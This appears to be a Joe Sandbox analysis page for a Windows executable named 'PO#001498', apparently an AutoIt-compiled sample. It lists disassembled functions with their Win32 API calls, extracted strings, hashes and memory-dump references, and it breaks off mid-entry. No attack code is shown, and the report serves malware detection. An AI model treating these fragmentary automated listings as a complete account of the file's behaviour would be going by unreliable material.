                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 0-4108050209
                                                                                                                                                                                • Opcode ID: b9da739ef4394ef292cf8eb25369925a80ec30f337521dada9f854f90e9bbf21
                                                                                                                                                                                • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                                                                                                • Opcode Fuzzy Hash: b9da739ef4394ef292cf8eb25369925a80ec30f337521dada9f854f90e9bbf21
                                                                                                                                                                                • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                                                                                                Function 004700B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 004701FA
                                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                                                                                                                                • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                                                                                                                                • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                                                                                                                                • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                                                                                                                                • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                                                                                                                                • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                                                                                                                                • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                                                                                                                                • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00470371
                                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 00470391
                                                                                                                                                                                • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                                                                                                                                • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                                                                                                                                • String ID: AutoIt v3 GUI
                                                                                                                                                                                • API String ID: 867697134-248962490
                                                                                                                                                                                • Opcode ID: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                                                                                                                                • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                                                                                                                                • Opcode Fuzzy Hash: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                                                                                                                                • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                                                                                                                                Function 00448759 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 2353593579-4108050209
                                                                                                                                                                                • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                                • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                                                                                                • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                                • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                                                                                                Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetSysColor.USER32 ref: 0044A11D
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                                                                                                                • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                                                                                                                • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                                                                                                                • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                                                                                                                • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                                                                                                                • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                                                                                                                • GetWindowDC.USER32 ref: 0044A277
                                                                                                                                                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                                                                                                                • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                                                                                                                • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                                                                                                                • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                                                                                                                • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                                                                                                                • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                                                                                                                • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                                                                                                                • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                                                                                                                • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1744303182-0
                                                                                                                                                                                • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                                • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                                                                                                                • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                                • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                                                                                                                Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicoll$__wcsnicmp
                                                                                                                                                                                • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                                                                                                • API String ID: 790654849-1810252412
                                                                                                                                                                                • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                                • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                                                                                                                • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                                • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                                                                                                                Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                                                                                                                • API String ID: 0-1896584978
                                                                                                                                                                                • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                                • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                                                                                                                • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                                • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                                                                                                                Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: InitVariant
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1927566239-0
                                                                                                                                                                                • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                                • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                                                                                                • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                                • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                                                                                                Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                                                                                                • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                                                                                                • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                                                                                                • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                                                                                                                • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                                                                                                  • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                                                                                                                • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                                                • API String ID: 1322021666-1919597938
                                                                                                                                                                                • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                                • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                                                                                                                • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                                • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                                                                                                                Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicoll$IconLoad
                                                                                                                                                                                • String ID: blank$info$question$stop$warning
                                                                                                                                                                                • API String ID: 2485277191-404129466
                                                                                                                                                                                • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                                • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                                                                                                • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                                • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                                                                                                Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                                                                                                • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                                                                                                • strncnt.LIBCMT ref: 00428646
                                                                                                                                                                                • strncnt.LIBCMT ref: 0042865A
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: strncnt$CompareErrorLastString
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1776594460-0
                                                                                                                                                                                • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                                                • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                                                                                                • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                                                • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                                                                                                Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                                                                                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                                                                                                                • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                                                                                                                • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                                                                                                                                • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                                                                                                                • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                                                                                                                • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00454708
                                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                                                                                                                • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                                                                                                                • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                                                                                                                • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3869813825-0
                                                                                                                                                                                • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                                • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                                                                                                                • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                                • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                                                                                                                Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                                                                                                                • GetCursorInfo.USER32 ref: 00458E03
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Cursor$Load$Info
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2577412497-0
                                                                                                                                                                                • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                                • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                                                                                                                • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                                • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                                                                                                                Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                                                                                                • GetFocus.USER32 ref: 004696E0
                                                                                                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                                                                                                • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
